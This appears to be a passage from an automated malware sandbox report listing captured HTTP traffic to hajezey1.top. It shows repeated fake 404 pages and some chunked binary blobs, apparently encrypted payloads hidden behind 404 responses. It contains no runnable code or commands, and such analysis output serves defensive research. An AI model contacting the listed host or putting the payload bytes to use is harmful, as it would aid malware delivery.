Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 8e 5f 04 25 18 f5 aa 85 b9 a5 13 ea 0e cb 2d e5 00 0c cc 52 a2 bd 71 b6 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82O_%-RqdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 42 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 76 92 71 06 45 a6 3e 11 dc a4 a3 a6 7e d8 6c a2 05 09 17 f6 cb ee 72 76 25 3f 50 19 01 bf 01 ea 53 01 b3 15 20 f5 3b e2 2a c2 d5 71 18 46 9b 3d f9 5c 40 8f ba f1 80 fe 05 b5 79 9e 10 b0 fb 14 9e 76 e9 bb 27 58 a4 0c 87 05 f0 bf 5f 60 08 d9 eb a8 e1 48 a8 03 88 31 7c 3b 66 ab 4b 11 c0 4d 08 0e 77 13 9e 09 5f 47 0b 5d 16 75 32 39 c5 f7 15 67 aa cf d0 c0 78 9e 0d a3 75 c1 96 52 88 36 19 ff bd 88 13 d8 06 0e 25 4f 12 7d 6f ed e0 04 89 19 d7 57 80 90 30 89 ec f4 4a 6b b6 f0 a2 22 4d 32 d3 49 ad ff bc ff 1a fd f4 3f f4 6f d3 7c cb c6 a8 cc 4e 4d b3 0b 97 2a 60 55 59 ad 30 fb 83 3b 3b ca c3 f3 b2 ec 92 90 1f 1c 57 fe 87 7e 0c 35 8a 3d 40 7f d0 56 81 96 9b 97 9e 70 9f 8a a2 25 44 5a c9 b2 cb 99 64 21 68 85 d2 f8 b8 56 b0 40 f6 0a bf 8b 71 91 e0 55 d0 66 21 df 76 79 27 e4 21 94 42 22 d1 3a 0d b4 43 06 1e 27 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 f0 d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 91 3d 4b 04 78 2d 7f 14 2c d6 e8 b1 14 73 71 10 22 07 4a 86 97 31 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 70 9c 82 97 d1 d6 4a 13 a7 e9 4d 51 c2 41 64 e3 53 39 f5 c3 a3 23 0c 28 df 52 d2 eb f9 23 19 9d 8c 3f 70 36 45 ae e4 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 f8 62 47 22 0b 85 d4 ca 55 56 9b 46 76 1d f3 13 02 63 34 42 c2 0c ce ae 70 85 96 36 e2 48 50 67 74 50 b8 87 f6 bc 81 de fb 6e 6a f6 e1 7b 54 3c 81 d2 be 95 df e2 63 10 ec 88 c0 5d 14 66 f2 e6 2f 59 47 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 65 f5 b8 90 c4 f7 07 26 67 1e 54 7a 54 4f 38 c0 5e 33 25 1b 6e 47 94 be 07 13 de 9a 3e 05 22 7d e6 b2 68 60 b9 10 31 eb 8d fc 25 57 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af dd c6 83 41 67 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 